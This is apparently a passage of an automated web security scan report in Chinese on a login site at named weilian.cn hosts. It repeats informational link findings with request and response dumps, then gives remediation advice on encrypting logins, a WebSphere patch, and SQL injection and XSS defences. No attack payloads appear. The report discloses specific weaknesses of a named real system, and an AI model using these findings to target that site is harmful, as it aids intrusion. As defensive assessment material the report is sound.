Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
```

```
<!--[if at IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
          color: red;
                                       微软雅黑";font-size:16px;padding-top:10px;}
         .toptitle{font-family:"
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/pluqin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
<!-- Login Background -->
```

```
<div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
   <div id="login-container" class="animation-fadeIn">
      <!-- Login Title -->
       <!-- END Login Title -->
       <!-- Login Block -->
       <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
               <div align="center" style="padding:30px 0;">
                      </div>
        <!-- Login Form -->
         <form id="form-login" class="form-horizontal">
        <div class="form-group"
```



The Malware Link Analysis module could not classify this link

问题 16 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/js/plugins.js (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1

Host: system-rest-enterprise.mall.xt.weilian.cn

Connection: keep-alive

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/57.0.2987.133 Safari/537.36

Upgrade-Insecure-Requests: 1
```

```
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-is lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <! -- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
       .error {
         color: red;
```

```
.toptitle{font-family:" 微软雅黑";font-size:16px;padding-top:10px;}
        body{background-color: #F2F4F4;}
        #login-background{background-color:#730000;}
   </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
   <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
   <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
       <!-- END Login Title -->
       <!-- Login Block -->
       <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                <div align="center" style="padding:30px 0;">
                        <!-- Login Form -->
         <form id="form-login" class="form-horizontal">
         <div class="form-group"
```



The Malware Link Analysis module could not classify this link

问题 17 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/css/main.css (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 k rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
```

```
<!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
          color: red;
         .toptitle{font-family:"
                                        微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color:#F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
<body>
    <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                  <div align="center" style="padding:30px 0;">
                          | Style="width:80%;"/>
| cing src="image/toptitle.png" style="width:80%;"/>
| cdiv class="toptitle"> 资源商城管理平台</div
                 </div>
          <!-- Login Form -->
          <form id="form-login" class="form-horizontal">
          <div class="form-group"
. . .
```



The Malware Link Analysis module could not classify this link

问题 18 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
   <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon57.png"</pre>
sizes="57x57">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
```

```
<link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
   <!-- END Icons -->
    <!-- Stylesheets -->
   <!-- Bootstrap is included in its original form, unaltered -->
   k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
<link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
   <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <!-- END Stylesheets -->
   <style>
        .error {
         color: red;
                                       微软雅黑";font-size:16px;padding-top:10px;}
         .toptitle{font-family:"
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                 <div align="center" style="padding:30px 0;">
                         <img src="image/toptitle.png" style="width:80%;"/>
                                                      资源商城管理平台</div>
                         <div class="toptitle">
                </div>
          <!-- Login Form -->
          <form id="form-login" class="form-horizontal">
          <div class="form-group"
. . .
. . .
```

问题 19 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/src/plugin/bootstrap/bootstrap.min.js (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if qt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
```

```
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
        <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
```

```
right:100px;" >
              </div>
        <!-- Login Form -->
<form id="form-login" class="form-horizontal">
<div class="form-group"</pre>
. . .
```



The Malware Link Analysis module could not classify this link

1/12/2018 697

修订建议

高

发送敏感信息时,始终使用 SSL 和 POST (主体)参数。

TOC

该任务修复的问题类型

- 已解密的登录请求
- 查询中的密码参数

常规

已解密的登录请求

- 1. 确保所有登录请求都以加密方式发送到服务器。
- 2. 请确保敏感信息,例如:
 - 用户名
 - 密码
 - 社会保险号码
 - 信用卡号码
 - 驾照号码
 - 电子邮件地址
 - 电话号码
 - 邮政编码
- 一律以加密方式传给服务器。

查询中的密码参数

- 1. 确保所有登录请求都在主体中(并加密)发送到服务器。
- 2. 请确保敏感信息,例如:
 - 用户名
 - 密码
 - 社会保险号码
 - 信用卡号码
 - 驾照号码
 - 电子邮件地址
 - 电话号码
 - 邮政编码

始终放在请求主体中(并加密)来发送到服务器。

该任务修复的问题类型

■ IBM WebSphere "WASPostParam" Cookie 反序列化拒绝服务

常规

高

高

根据 WebSphere 版本应用 WebSphere 修订 PI62375 或 PI70737。

遵循以下链接中的"建议/修订"部分:

https://www-01.ibm.com/support/docview.wss?uid=swg21990060

查看危险字符注入的可能解决方案

TOC

该任务修复的问题类型

- SQL 注入
- 跨站点脚本编制
- 通过框架钓鱼
- 链接注入 (便于跨站请求伪造)
- 发现数据库错误模式
- JSON 中反映的未清理用户输入

常规

SQL 注入

有多种减轻威胁的技巧:

[1] 策略: 库或框架

使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。

[2] 策略:参数化

如果可用,使用自动实施数据和代码之间的分离的结构化机制。这些机制也许能够提供自动提供相关引用、编码和验证,而不是依赖于开发者在生成输出的每个点提供此能力。

[3] 策略:环境固化

使用完成必要任务所需的最低特权来运行代码。

[4] 策略:输出编码

如果在有风险的情况下仍需要使用动态生成的查询字符串或命令,请对参数正确地加引号并将这些参数中的任何特殊字符转义。

[5] 策略:输入验证假定所有输入都是恶意的。使用"接受已知善意"输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于将恶意或格式错误的输入加入黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入由于格式严重错误而应直接拒绝。

跨站点脚本编制

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相同输出文档的某些部分可能需要不同的编码,具体取决于输出是在以下哪一项中:

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[-] 元素属性(如 src="XYZ")

[-] URI

[-] JavaScript 段

[-] 级联样式表和样式属性

请注意,"HTML 实体编码"仅适用于 HTML 主体。

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了解您的软件中可能出现不可信输入的所有潜在区域:参数或自变量、cookie、从网络读取的任何内容、环境变量、反向 DNS 查找、查询结果、请求头、URL 组成部分、电子邮件、文件、文件名、数据库以及向应用程序提供数据的任何外部系统。请记住,此类输入可通过 API 调用间接获取。

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对于生成的每个 Web 页面,请使用并指定 ISO-8859-1 或 UTF-8 之类的字符编码。如果未指定编码,Web 浏览器可能通过猜测 Web 页面实际使用的编码来选择不同的编码。这可能导致 Web 浏览器将特定序列视为特殊序列,从而使客户机暴露在不易察觉的 XSS 攻击之下。请参阅 CWE-116 以获取与编码/转义相关的更多减轻威胁的方法。

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要帮助减轻针对用户会话 cookie 的 XSS 攻击带来的威胁,请将会话 cookie 设置为 HttpOnly。在支持 HttpOnly 功能的浏览器(如 Internet Explorer 和 Firefox 的较新版本)中,此属性可防止使用 document.cookie 的恶意客户机端脚本访问用户的会话 cookie。这不是完整的解决方案,因为 HttpOnly 并不受所有浏览器支持。更重要的是,

XMLHTTPRequest 和其他功能强大的浏览器技术提供了对 HTTP 头的读访问权,包括在其中设置 HttpOnly 标志的 Set-Cookie 头。

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有多种减轻威胁的技巧:

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使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。

[2] 策略:参数化

如果可用,使用自动实施数据和代码之间的分离的结构化机制。这些机制也许能够提供自动提供相关引用、编码和验证,而不是依赖于开发者在生成输出的每个点提供此能力。

[3] 策略:环境固化

使用完成必要任务所需的最低特权来运行代码。

[4] 策略:输出编码

如果在有风险的情况下仍需要使用动态生成的查询字符串或命令,请对参数正确地加引号并将这些参数中的任何特殊字符转义。

[5] 策略:输入验证假定所有输入都是恶意的。使用"接受已知善意"输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于将恶意或格式错误的输入加入黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入由于格式严重错误而应直接拒绝。

JSON 中反映的未清理用户输入

有多种减轻威胁的技巧:

[1] 策略: 库或框架

使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。

可用于更轻松生成正确编码的输出的库和框架示例包括 Microsoft 的 Anti-XSS 库、OWASP ESAPI 编码模块和 Apache Wicket。

[2] 了解将在其中使用数据的上下文,以及预期的编码。在不同组件之间传输数据时,或在生成可同时包含多个编码的输出(如 Web 页面或多部分邮件消息)时,这尤为重要。研究所有预期的通信协议和数据表示法以确定所需的编码策略。对于将输出到另一个 Web 页面的任何数据(尤其是从外部输入接收到的任何数据),请对所有非字母数字字符使用恰当的编码。

相同输出文档的某些部分可能需要不同的编码,具体取决于输出是在以下哪一项中:

[-] HTML 主体

[-] 元素属性(如 src="XYZ")

[-] URI

[-] JavaScript 段

[-] 级联样式表和样式属性

请注意,"HTML 实体编码"仅适用于 HTML 主体。

请咨询 XSS Prevention Cheat Sheet

 $http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet$

